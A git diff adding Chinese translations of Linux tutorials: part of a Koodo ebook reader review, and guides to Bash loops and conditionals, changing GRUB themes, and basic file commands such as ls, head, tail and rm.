ePub 和 Mobi 格式,它会自动以双列布局打开。对于 PDF,默认选择单列布局。 + +你可以根据自己的喜好自定义 UI。更改字体、大小、段落间距、文本颜色、背景颜色、行间距、亮度等。 + +![koodo additional features][8] + +Koodo 支持夜间阅读模式以及五个不同的主题。你可以根据自己的喜好在主题之间切换。 + +你还可以使用 Dropbox 或其他支持 Webdav 协议的 [云服务][9] 跨设备同步你的书籍和阅读数据(如高亮、笔记等)。 + +![You can backup your data in your preferred cloud service][10] + +### 在 Linux 上获取 Koodo + +如果你想体验一下 Koodo,你可以试试它的在线版本。你可以在浏览器中使用 Koodo。你的数据本地存储在浏览器中,如果你清理浏览器缓存,你会丢失数据(高亮、笔记等,但不会丢失计算机上存储的书籍)。 + +> **[在线尝试 Koodo][11]** + +如果你喜欢它的功能,可以选择在您的计算机上安装 Koodo。 + +Linux 用户有多种选择。你有 Debian 和基于 Ubuntu 的发行版的 deb 文件、Red Hat 和 Fedora 的 RPM,以及面向所有发行版的 Snap、AppImage 和可执行文件。 + +你可以从项目主页获取你选择的安装程序。 + +> **[下载 Koodo][12]** + +### 总结 + +Koodo 并不完美。它有大量功能,但并非所有功能都能完美运行,正如我在测试中发现的那样。 + +尽管如此,它仍然是一个很好的应用,有可能在用户中流行起来。只有少数几个应用包含如此多的功能。 + +感谢 Koodo 开发人员为桌面用户创建了一个有前途的开源应用。 + +你可以 [访问该项目的仓库][13] 来查看源代码、报告 bug 或者通过给项目加星来向开发者表达喜爱。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/koodo-ebook-reader/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-ebook-readers-linux/ +[2]: https://itsfoss.com/foliate-ebook-viewer/ +[3]: https://koodo.960960.xyz/en +[4]: https://reader.960960.xyz/#/manager/empty +[5]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-ebook-reader-interface.webp +[6]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-interface.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/koobo-ebook-reader-features.webp +[8]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-additional-features.webp +[9]: https://itsfoss.com/cloud-services-linux/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-backup-restore-feature.png +[11]: https://reader.960960.xyz/ +[12]: https://koodo.960960.xyz/en +[13]: https://github.com/troyeguo/koodo-reader diff --git a/published/202208/20220726 How I use Bash to automate tasks on Linux.md b/published/202208/20220726 How I use Bash to automate tasks on Linux.md new file mode 100644 index 0000000000..a7b96162bc --- /dev/null +++ b/published/202208/20220726 How I use Bash to automate tasks on Linux.md @@ -0,0 +1,142 @@ +[#]: subject: "How I use Bash to automate tasks on Linux" +[#]: via: "https://opensource.com/article/22/7/use-bash-automate-tasks-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14983-1.html" + +如何在 Linux 上使用 Bash 自动化任务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/30/181814f4v7ahztuaaxwqwg.jpg) + +> Bash 有一些方便的自动化功能,可以让我在 Linux 上处理文件时更轻松。 + +通过 Bash 命令行进行自动化任务是极好的一种方式。不论你使用运行在服务器上的 Linux 进行管理日志文件或其他文件,还是你在个人电脑上整理文件以使桌面保持整洁,使用 Bash 的自动化功能会使你的工作变得更轻松。 + +### 自动执行文件任务:for + +如果你对一堆文件要同时处理,并且对每个文件进行相同的操作,请使用 `for` 命令。该命令会遍历文件列表,并执行一个或多个命令。`for` 命令如下所示: + +``` +for 变量 in 列表 +do +    命令 +done +``` + +我在示例中添加了额外的空白和换行,来分开 `for` 命令中不同的部分。看起来好像无法在命令行中同时运行多个命令,不过你可以使用 `;` 将所有命令放在同一行中,就像这样: + +``` +for 变量 in 列表 ; do 命令 ; done +``` + +让我们看看它的实际效果。我使用 `for` 命令来重命名一些文件。最近,我有一些截图,想要重命名。这些截图名称为 `filemgr.png` 或 `terminal.png`,我想将 `screenshot` 放在每个名称前。我可以使用 `for` 命令一次性将 30 个文件重命名。这是两个文件的示例: + +``` +$ ls +filemgr.png  terminal.png +$ for f in *.png ; do mv $f screenshot-$f ; done +$ ls +screenshot-filemgr.png  screenshot-terminal.png +``` + +`for` 命令使得在一系列文件中执行一种或多种操作变得容易。你可以用一些有意义的变量名,比如 `image` 或 `screenshot`,或者你用示例中“缩写的”变量 `f`。当我在使用 `for` 循环写脚本的时候,会选择有意义的变量名。但是当我在命令行中使用 `for`,我通常会选择缩写变量名,比如 `f` 代表文件,`d` 代表目录等。 + +不论你选择怎样的变量名,请确保在引用变量时添加 `$` 符号。这会将变量扩展为你正在处理的文件的名称。在 Bash 提示符下键入 `help for` 以了解有关 `for` 命令的更多信息。 + +### 按条件执行:if + +当你需要对每个文件执行相同操作时,使用 `for` 循环遍历一些文件很有帮助。但是,如果你需要对某些文件做一些不同的事情怎么办?为此,你需要使用 `if` 语句进行条件执行。`if` 语句如下所示: + +``` +if 测试 +then +    命令 +fi +``` + +你也可以使用 `if`、`else` 语句进行判断: + +``` +if 测试 +then +    命令 +else +    命令 +fi +``` + +你可以使用 `if`、`elif`、` else` 语句来实现更复杂的程序。当我一次性需要自动处理很多文件时,我会在脚本中使用: + +``` +if 测试1 +then +    命令 +elif 测试2 +then +    命令 +elif 测试3 +then +    命令 +else +    命令 +fi +``` + +`if` 命令可以让你进行各种判断,例如判断一个文件是否是一个文件,或者一个文件是否为空文件(零字节)。在命令行中输入 `help test`,可以立即查看使用 `if` 语句能够进行的各种测试。 + +例如,假设我想清理一个包含几十个文件的日志目录。日志管理中的一个常见任务是删除所有空日志文件,并压缩其他日志。解决这个问题的最简单方法是删除空文件。没有可以完全匹配的 `if` 测试,但是我们有 `-s` 选项来判断是否是一个文件,并且判断该文件不是空的(大小不为零)。这与我们想要的相反,但我们可以使用 `!` 来否定测试,以判断某些内容不是文件或为空。 + +让我们用一个示例来看看这个过程。我创建了两个测试文件:一个是空的,另一个包含一些数据。我们可以使用 `if` 判断,*如果*文件为空打印消息 `empty`: + +``` +$ ls +datafile  emptyfile +$ if [ ! -s datafile ] ; then echo "empty" ; fi +$ if [ ! -s emptyfile ] ; then echo "empty" ; fi +empty +``` + +我们可以将 `if` 和 `for` 命令结合起来,检查日志文件列表中的空文件并删除: + +``` +$ ls -l +total 20 +-rw-rw-r--. 1 jhall jhall 2 Jul  1 01:02 log.1 +-rw-rw-r--. 1 jhall jhall 2 Jul  2 01:02 log.2 +-rw-rw-r--. 1 jhall jhall 2 Jul  3 01:02 log.3 +-rw-rw-r--. 1 jhall jhall 0 Jul  4 01:02 log.4 +-rw-rw-r--. 1 jhall jhall 2 Jul  5 01:02 log.5 +-rw-rw-r--. 1 jhall jhall 0 Jul  6 01:02 log.6 +-rw-rw-r--. 1 jhall jhall 2 Jul  7 01:02 log.7 +$ for f in log.* ; do if [ ! -s $f ] ; then rm -v $f ; fi ; done +removed 'log.4' +removed 'log.6' +$ ls -l +total 20 +-rw-rw-r--. 1 jhall jhall 2 Jul  1 01:02 log.1 +-rw-rw-r--. 1 jhall jhall 2 Jul  2 01:02 log.2 +-rw-rw-r--. 1 jhall jhall 2 Jul  3 01:02 log.3 +-rw-rw-r--. 1 jhall jhall 2 Jul  5 01:02 log.5 +-rw-rw-r--. 1 jhall jhall 2 Jul  7 01:02 log.7 +``` + +使用 `if` 命令可以在需要时执行一些操作,使脚本变得智能。我经常会在脚本中使用 `if`,当我需要判断文件在我的系统上存在或不存在时,或者判断脚本正在检查的条目是文件或目录时。使用 `if` 使得脚本能够根据需要采取不同的操作。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/use-bash-automate-tasks-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bash_command_line.png diff --git a/published/202208/20220726 How To Change GRUB Theme In Linux.md b/published/202208/20220726 How To Change GRUB Theme In Linux.md new file mode 100644 index 0000000000..12f405f2e7 --- /dev/null +++ b/published/202208/20220726 How To Change GRUB Theme In Linux.md @@ -0,0 +1,359 @@ +[#]: subject: "How To Change GRUB Theme In Linux" +[#]: via: "https://ostechnix.com/change-grub-theme-in-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14978-1.html" + +如何在 Linux 中更改 GRUB 主题 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/29/114710py8bi78opi2t7oop.jpg) + +> 在 Linux 中安装和应用现代的漂亮的 GRUB 主题。 + +**GRUB** ,意即 大统一引导程序GRand Unified Bootloader ,它是大多数 Linux 操作系统的默认引导加载程序。GRUB 引导加载程序是计算机启动时运行的第一个程序。正如你可能注意到的,GRUB 菜单的默认主题是朴素的。它只有一个黑色的背景和一些白色的字符。你们中的一些人可能不喜欢默认的 GRUB 主题。在这篇教程中,我将演示如何 **更改 GRUB 主题** 或应用华丽的主题,以使你的 GRUB 菜单在 Linux 中更加精美。 + +数年前,我们发布了一篇指南,阐释了如何在 Ubuntu 中 [配置 GRUB2 引导加载程序设置][1] 。在这篇文章中,我们将向你展示如何更改 GRUB 背景。 + +但是,只更改背景不是真正的自定义。在这篇指南中,我们不仅会更改壁纸,也会更改 GRUB 的字体、主题和整体的设计。 + +> **免责声明:** 安装 GRUB 主题可能会破坏你的系统。我强烈建议你在一个虚拟机中尝试和测试一个主题来查看它是否没有正常工作。然后再在实际的系统上安装主题。 + +### 介绍 + +在互联网上可以找到很多社区开发的 GRUB 主题。然而,它们却散落在不同的网站上。因此,找到一个好的 GRUB 主题可能会事倍功半。 + +GRUB 主题的一个重要的贡献者是 **Pling** 网站。但是,Pling 中的大部分主题是非常简单的或过时的。 + +幸运的是,我遇到一个名称为 **Gorgeous GRUB** 的项目,它是一个可以找到各种精美的 GRUB 主题的地方。相信我,作者付出了巨大的努力来收集这些主题,肯定会你喜欢的主题。 + +### Gorgeous GRUB:一个可以找到很棒的 GRUB 主题的地方 + +**Gorgeous GRUB** 是一个由不同用户所创建的质量上乘的 GRUB 社区主题的收藏集合。这个项目的开发者从 **Pling** 、**/r/unixporn** 和其它很多的论坛中手工挑选漂亮的 GRUB 主题,并将它们放置到一起,以便用户可以很容易的浏览它们。 + +如上所述,在 Pling 中的很多主题都是粗糙和过时的。Gorgeous GRUB 的作者翻遍了 Pling 和其它一些论坛的整个 GRUB 部分,并将所有令人满意的 GRUB 主题放置到一个地方。 + +它们不是一些粗制滥造的主题。他们付出了大量的努力来将定制的背景、字体和颜色等融合在一起。 + +请注意,Gorgeous GRUB 并不是一个安装你最喜欢的 GRUB 主题的应用程序。它只是一个良好工作的 GRUB 主题的展览列表。 + +这个项目托管在 GitHub 中。如果你有一些很酷的 GRUB 主题,你也可以将其添加到 Gorgeous GRUB 主题列表之中。 + +### 如何更改 GRUB 主题 + +应用或更改 GRUB 主题并不难。 + +转到 [Gorgeous GRUB 的 GitHub 网页][2] ,单击任意你想要应用的主题的标题。接下来,你将会被带到该主题的实际主页。一些主题托管在 **Pling** 之中,一些主题托管在 **GitHub** 之中。我将会看看如何安装来自 Pling 或 GitHub 的 GRUB 主题。 + +首先,让我们看看如何应用 “Descent” 主题,它托管在 Pling 中。 + +#### 1、从 Pling 安装 GRUB 主题 + +如果主题托管在 Pling 网站,遵循这些操作说明。 + +在主题主页,单击 文件Files 标签页。你将会在图像预览的下方找到这个标签页。单击文件链接来下载它。 + +![Download GRUB Theme From Pling][3] + +转到下载位置并提取存档文件: + +``` +$ tar xzf 173860-20150926\ descent.tar.gz +``` + +存档文件的内容将被提取到当前工作目录中一个名称为 `descent` 目录中。 + +使用下面的命令复制 `descent` 目录到 `/boot/grub/themes/` 目录: + +``` +$ sudo cp -r descent/ /boot/grub/themes/ +``` + +如果 `themes` 目录不存在,只需要创建它: + +``` +$ sudo mkdir /boot/grub/themes +``` + +并给 `themes` 目录分配适当的权限: + +``` +$ sudo chown $USER /boot/grub/themes/ +``` + +接下来,如上所述复制 `descent` 目录中内容到 `themes` 目录。 + +现在,你应该在 `themes` 目录中有一个以主题名称命名的文件夹: + +``` +$ ls /boot/grub/themes/ +descent +``` + +并且,这个主题文件夹(例如 `descent`)应该包含 `theme.txt` 和该主题附带的其它一些相关的文件(例如,背景图像、自定义文件)。 + +``` +$ ls /boot/grub/themes/descent/ +background1280x800.png descent_score_14.pf2 menu_ne.png menu_s.png progresshigh_c.png scrollframe_c.png scroll_thumb_n.png +background_original.jpg descent_score_18.pf2 menu_n.png menu_sw.png progresshigh_e.png scrollframe_n.png scroll_thumb_s.png +copyright menu_c.png menu_nw.png menu_w.png progresshigh_w.png scrollframe_s.png select_os.png +descent_logo_bold_18.pf2 menu_e.png menu_se.png progressbar_c.png readme scroll_thumb_c.png theme.txt +``` + +在复制下载的主题到 `/boot/grub/themes/` 目录后,编辑 `/etc/default/grub` 文件: + +在进行任意更改前,请备份 `grub` 文件,以防万一: + +``` +$ sudo cp /etc/default/grub /etc/default/grub.bak +``` + +现在,使用你喜欢的编辑器编辑文件: + +``` +$ sudo nano /etc/default/grub +``` + +找到 `GRUB_THEME=` 代码行,并添加路径到你想要使用的主题的 `theme.txt` 。并且,也要取消 `GRUB_GFXMODE=` 代码行的注释,输入背景图像的分辨率。通常,背景图像的文件名称包含其分辨率(例如 `background1280x800.png`)。 + +``` +[...] +GRUB_THEME=/boot/grub/themes/descent/theme.txt +GRUB_GFXMODE=1280x800 +[...] +``` + +![Enter Theme Txt File Path And Background Image Resolution][4] + +再强调一次,如果这些代码行不存在,简单地添加它们。按下 `CTRL+O` 组合键 和 `CTRL+X` 组合键(LCTT 校注:这是 nano 中的快捷键,如果你使用 Vi/Vim,请使用相应的快捷键)来保持更改并关闭文件。 + +现在,应用更改到 GRUB ,使用命令: + +``` +$ sudo update-grub +``` + +示例输出: + +``` +Sourcing file `/etc/default/grub' +Sourcing file `/etc/default/grub.d/init-select.cfg' +Generating grub configuration file ... +Found theme: /boot/grub/themes/descent/theme.txt +Found linux image: /boot/vmlinuz-5.15.0-41-generic +Found initrd image: /boot/initrd.img-5.15.0-41-generic +Found linux image: /boot/vmlinuz-5.15.0-39-generic +Found initrd image: /boot/initrd.img-5.15.0-39-generic +Found memtest86+ image: /boot/memtest86+.elf +Found memtest86+ image: /boot/memtest86+.bin +Warning: os-prober will not be executed to detect other bootable partitions. +Systems on them will not be added to the GRUB boot configuration. +Check GRUB_DISABLE_OS_PROBER documentation entry. +done +``` + +![Update GRUB][5] + +如果你是在基于 RPM 的系统上(例如 Fedora),运行下面的命令来更新 GRUB : + +``` +$ sudo grub2-mkconfig -o /boot/grub2/grub.cfg instead +``` + +重新启动你的系统。你就会看到更新后的 GRUB 主题。如果 GRUB 菜单没有出现。在打开硬件系统的电源时,立即按下 `ESC` 按键,直到启动菜单出现。 + +这是我的 Ubuntu 22.04 LTS 桌面的默认 GRUB 菜单。 + +![Ubuntu Default Grub Menu][6] + +这是更新后的带有复古主题的 GRUB 菜单。 + +![Updated GRUB Menu With Descent Theme][7] + +很酷,是吧? + +##### 移除 GRUB 主题 + +为移除一个主题,简单地删除主题文件夹: + +``` +$ sudo rm -fr /boot/grub/themes/descent/ +``` + +接下来,编辑 `/etc/default/grub` 文件: + +``` +$ sudo nano /etc/default/grub +``` + +移除下面的代码行: + +``` +[...] +GRUB_THEME=/boot/grub/themes/descent/theme.txt +GRUB_GFXMODE=1280x800 +[...] +``` + +保存文件并关闭它。 + +最后,应用更改到 GRUB ,并重新启动你的系统: + +``` +$ sudo update-grub +``` + +``` +$ sudo reboot +``` + +#### 2、从 GitHub 安装 GRUB 主题 + +如果一个 GRUB 主题托管在 GitHub 中,它很可能有安装程序脚本和卸载程序脚本。让我们以 [Modern GRUB Themes][8] 为例。它托管在 GitHub 中。 + +使用 Git 复刻项目的 GitHub 存储库: + +``` +$ git clone https://github.com/vinceliuice/grub2-themes.git +``` + +转到项目的文件夹: + +``` +$ cd grub2-themes/ +``` + +运行安装程序脚本: + +``` +$ sudo ./install.sh +``` + +选择你喜欢的 GRUB 主题背景(例如 tela)。 + +![Choose GRUB Theme Background][9] + +选择图标样式: + +![Choose Icon Style][10] + +选择你的显示分辨率。 + +![Choose Display Resolution][11] + +现在选择将会安装和应用的 GRUB 主题。 + +``` +Checking for the existence of themes directory... + + Installing tela color 1080p theme... + + Setting tela as default... + + Updating grub config... + +Sourcing file `/etc/default/grub' +Sourcing file `/etc/default/grub.d/init-select.cfg' +Generating grub configuration file ... +Found theme: /usr/share/grub/themes/tela/theme.txt +Found linux image: /boot/vmlinuz-5.15.0-41-generic +Found initrd image: /boot/initrd.img-5.15.0-41-generic +Found linux image: /boot/vmlinuz-5.15.0-39-generic +Found initrd image: /boot/initrd.img-5.15.0-39-generic +Found memtest86+ image: /boot/memtest86+.elf +Found memtest86+ image: /boot/memtest86+.bin +Warning: os-prober will not be executed to detect other bootable partitions. +Systems on them will not be added to the GRUB boot configuration. +Check GRUB_DISABLE_OS_PROBER documentation entry. +done + + * All done! + + * At the next restart of your computer you will see your new Grub theme: 'tela' +``` + +![Install Tela Modern Grub Theme][12] + +重新启动你的系统来查看更改。 + +![Tela GRUB Theme][13] + +这是一个漂亮的 GRUB 主题,前所未见。 + +你也可以明确地给定主题的名称和屏幕分辨率,像下面一样。 + +``` +$ sudo ./install.sh -t whitesur -s 1080p +``` + +这将应用一个名称为 “Whitesur” 的主题,使用 1080p 屏幕分辨率。你可能会提及到其它的分辨率,例如 `2k` 、`4k` 、超宽(`ultrawide`)、超宽 2k(`ultrawide2k`) 。如果你不提及分辨率,将默认采用 `1080p` 。 + +安装 Tela 主题到 `/boot/grub/themes` 文件夹: + +``` +$ sudo ./install.sh -b -t whitesur +``` + +重新启动你的系统来查看更改。 + +![Whitesur GRUB Theme][14] + +##### 移除 GRUB 主题 + +为移除已安装的一个主题,转到项目的复刻目录: + +``` +$ cd grub2-themes/ +``` + +随后,运行: + +``` +$ sudo ./install.sh -r -t tela +``` + +使用你已安装的主题的名称来替换 `tela` 。 + +请注意,每个主题的安装说明可能有所不同。详细地参考每个项目的 GitHub 页面,并相应地安装主题。 + +### 总结 + +有些人喜欢使用艺术化的 Linux 发行版。他们以美化其 Linux 发行版而感到高兴和自豪。如果你是他们中的一员,你可以看看 Gorgeous GRUB 项目来美化你的 GRUB 菜单。 + +转到 Gorgeous GRUB 主题网站,从列表中选择你最喜欢的主题,并按照每个项目的主页说明来安装和应用 GRUB 主题。 + +### 资源 + +> **[Gorgeous GRUB 的 GitHub 存储库][15]** + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/change-grub-theme-in-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/configure-grub-2-boot-loader-settings-ubuntu-16-04/ +[2]: https://github.com/jacksaur/Gorgeous-GRUB +[3]: https://ostechnix.com/wp-content/uploads/2022/07/Download-GRUB-Theme-From-Pling.png +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Enter-Theme-Txt-File-Path-And-Background-Image-Resolution.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Update-GRUB.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/Ubuntu-Default-Grub-Menu.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Updated-GRUB-Menu.png +[8]: https://github.com/vinceliuice/grub2-themes +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Choose-GRUB-Theme-Background.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/Choose-Icon-Style.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Choose-Display-Resolution.png +[12]: https://ostechnix.com/wp-content/uploads/2022/07/Install-Tela-Modern-Grub-Theme.png +[13]: https://ostechnix.com/wp-content/uploads/2022/07/Tela-GRUB-Theme.png +[14]: https://ostechnix.com/wp-content/uploads/2022/07/Whitesur-GRUB-Theme-1.png +[15]: https://github.com/jacksaur/Gorgeous-GRUB diff --git a/published/202208/20220727 How I manage files from the Linux command line.md b/published/202208/20220727 How I manage files from the Linux command line.md new file mode 100644 index 0000000000..4c7a72fb91 --- /dev/null +++ b/published/202208/20220727 How I manage files from the Linux command line.md @@ -0,0 +1,195 @@ +[#]: subject: "**How I manage files from the Linux command lin**e" +[#]: via: "https://opensource.com/article/22/7/manage-files-linux-command-line" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14930-1.html" + +在 Linux 中如何使用命令行管理文件 +====== + +> 如果你更喜欢用终端与系统交互,请了解一下我最喜欢的管理文件的命令。 + +![](https://img.linux.net.cn/data/attachment/album/202208/14/172405m2wa2tbiq6qtpw2p.jpg) + +在如 GNOME 或 KDE 等图形桌面中使用鼠标点击管理文件。你点击文件的图标,将它移动到另一个文件夹中,或者移动到回收站里。图形交互使得桌面计算机便于使用。 + +但是在 Linux 中,我们并不总是与图形界面交互。如果你在服务器上工作,那么你可能需要使用命令行来解决问题。即使像我这样使用桌面的用户,可能也更喜欢使用终端和命令行和系统交互。我倾向于通过命令行运行命令来管理我的文件: + +### 使用 ls 显示文件 + +``` +ls +``` + +对任何使用命令行的人来说,如果不知道有什么文件,工作将很难进行下去。[ls 命令][2] 会罗列出文件夹中的文件。例如,要查看 Web 服务器的文档根目录 `/var/www/html` 中的内容,你可以键入: + +``` +ls /var/www/html +``` + +大多数情况,我使用 `ls` 命令查看当前文件夹内的文件。只需要输入 `ls` 即可查看所有文件。例如,当我在我的网页项目的根目录时,输入 `ls` 后可以看到这些: + +``` +$ ls +about fontawesome fonts index.php styles +docs fontawesome.zip images prism +``` + +`ls` 命令包含 60 种选项,可以以任意方式显示文件和目录。`-l` 是一个很有用的选项,可以详细的显示文件,包含权限、文件大小以及所有者等信息。 + +``` +$ ls -l + +total 6252 +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:18 about +drwxr-xr-x. 2 jhall jhall 4096 Jun 25 16:35 docs +drwxr-xr-x. 2 jhall jhall 4096 Jun 7 00:00 fontawesome +-rw-r--r--. 1 jhall jhall 6365962 Jun 2 16:26 fontawesome.zip +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:17 fonts +drwxr-xr-x. 2 jhall jhall 4096 Jun 25 13:03 images +-rw-rw-r--. 1 jhall jhall 327 Jun 22 16:38 index.php +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:18 prism +drwxrwxr-x. 2 jhall jhall 4096 Jun 22 16:17 styles +``` + +上方的文件大小是以字节为单位,或许看起来有点吃力。想要以方便我们阅读的格式查看文件大小,只需要添加 `-h` 或 `--human-readable` 选项,能以 `G` 、`M` 、`K` 为单位显示文件大小。 + +``` +$ ls -l --human-readable +total 6.2M +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:18 about +drwxr-xr-x. 2 jhall jhall 4.0K Jun 25 16:35 docs +drwxr-xr-x. 2 jhall jhall 4.0K Jun 7 00:00 fontawesome +-rw-r--r--. 1 jhall jhall 6.1M Jun 2 16:26 fontawesome.zip +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:17 fonts +drwxr-xr-x. 2 jhall jhall 4.0K Jun 25 13:03 images +-rw-rw-r--. 1 jhall jhall 327 Jun 22 16:38 index.php +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:18 prism +drwxrwxr-x. 2 jhall jhall 4.0K Jun 22 16:17 styles +``` + +现在,`ls` 将 zip 文件显示为 `6.1M` 或刚刚超过 6 MB 的文件大小,而不是 `6365962`。 + +### 使用 cat、head 和 tail 命令查看文件 + +``` +cat +``` + +``` +head +``` + +``` +tail +``` + +当显示出文件后,需要检查文件夹中的内容。使用很少几个命令即可做到。以我的 Web 服务器中的 `docs` 文件夹为例: + +``` +$ ls docs +chapter1.tex chapter4.tex chapter7.tex lorem.txt +chapter2.tex chapter5.tex chapter8.tex readme.txt +chapter3.tex chapter6.tex chapter9.tex workbook.tex +``` + +这些文件是什么?我不知道,幸运的是该目录中有一个 `readme.txt` 文件,我猜它包含了这个项目目录中文件的描述。如果该文件不是很长,那我可以使用 `cat` 命令查看它: + +``` +$ cat docs/readme.txt +This is the workbook for the C programming self-paced +video series. The main file is the workbook.tex file, +which includes the other chapters. +``` + +如果这个文件很长,则可以使用 `head` 命令查看文件的前几行。该命令通常显示前 10 行的内容,不过你也可以使用 `-n` 或者 `--lines` 选项来指定行数。例如,使用这两个 `head` 命令的选项查看 `lorem.txt` 文件的前三行: + +``` +$ head -n 3 docs/lorem.txt +Lorem ipsum dolor sit amet, consectetur adipiscing +elit. Nullam at ligula eget nunc feugiat pharetra. Nullam +nec vulputate augue. Suspendisse tincidunt aliquet + +$ head --lines=3 docs/lorem.txt +Lorem ipsum dolor sit amet, consectetur adipiscing +elit. Nullam at ligula eget nunc feugiat pharetra. Nullam +nec vulputate augue. Suspendisse tincidunt aliquet +``` + +如果我想要查看文件的最后几行的内容,可以以相同方式使用 `tail` 命令。同样,这两个 `tail` 命令分别显示 `lorem.txt` 文件的最后三行: + +``` +$ tail -n 3 docs/lorem.txt +egestas sodales. Vivamus tincidunt ex sed tellus tincidunt +varius. Nunc commodo volutpat risus, vitae luctus lacus +malesuada tempor. Nulla facilisi. + +$ tail --lines=3 docs/lorem.txt +egestas sodales. Vivamus tincidunt ex sed tellus tincidunt +varius. Nunc commodo volutpat risus, vitae luctus lacus +malesuada tempor. Nulla facilisi. +``` + +使用 `head` 和 `tail` 命令在服务器中查看日志文件十分有用。我有一个小型 Web 服务器运行在家庭网络,用于在网站上线前的测试。最近我发现 Web 服务器的日志很长,我好奇它存在多久了。使用 `head` 命令,我只打印第一行,可以看到该日志文件是在 2020 年 12 月创建的: + +``` +$ ls -l --human-readable /var/log/httpd +total 13M +-rw-r--r--. 1 root root 13M Jun 25 16:23 access_log +-rw-r--r--. 1 root root 45K Jun 2 00:00 error_log + +$ sudo head -n 1 /var/log/httpd/access_log +10.0.0.177 - - [05/Dec/2020:14:58:35 -0600] "GET / HTTP/1.1" 403 5564 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" +``` + +### 使用 rm 命令删除文件 + +``` +rm +``` + +在包含示例文本文件的目录中,`lorem.txt` 文件中包含 “乱数假文Lorem Ipsum” 文本。这只是印刷行业中使用的虚拟文本,因此 `lorem.txt` 文件并不属于该项目。让我们用 `rm` 命令删除这样的文件: + +``` +$ ls docs +chapter1.tex chapter4.tex chapter7.tex lorem.txt +chapter2.tex chapter5.tex chapter8.tex readme.txt +chapter3.tex chapter6.tex chapter9.tex workbook.tex + +$ rm docs/lorem.txt + +$ ls docs +chapter1.tex chapter4.tex chapter7.tex readme.txt +chapter2.tex chapter5.tex chapter8.tex workbook.tex +chapter3.tex chapter6.tex chapter9.tex +``` + +由于用 `rm` 命令删除的文件会直接删除,而不会放入回收站,因此它很危险。安装 `trash` 命令比较安全,例如 [trashy][4] 或 [trash-cli][5] 命令。这样你可以在文件永久删除前,将其放入暂存区。 + +``` +$ rm docs/lorem.txt +``` + +只需很少的命令即可在命令行中管理文件。使用 `ls` 命令显示目录中的文件,使用 `cat` 、`head` 和 `tail` 命令查看文件中的内容。使用 `rm` 或者安全的 `trash` 命令将不需要的文件删除。这五个命令足以帮你在 Linux 中管理文件。想要了解更多,可以使用 `--help` 选项来查看如何使用这些命令。例如使用 `ls --help` 查看 `ls` 命令如何使用。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/manage-files-linux-command-line + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/files_documents_paper_folder.png +[2]: https://opensource.com/article/19/7/master-ls-command +[3]: https://opensource.com/article/19/2/getting-started-cat-command +[4]: https://gitlab.com/trashy/trashy +[5]: https://github.com/andreafrancia/trash-cli diff --git a/published/202208/20220727 How To Automatically Update Running Docker Containers Using Watchtower.md b/published/202208/20220727 How To Automatically Update Running Docker Containers Using Watchtower.md new file mode 100644 index 0000000000..0a08bef22c --- /dev/null +++ b/published/202208/20220727 How To Automatically Update Running Docker Containers Using Watchtower.md @@ -0,0 +1,181 @@ +[#]: subject: "How To Automatically Update Running Docker Containers Using Watchtower" +[#]: via: "https://ostechnix.com/automatically-update-running-docker-containers/" +[#]: author: "sk https://ostechnix.com/author/sk/" 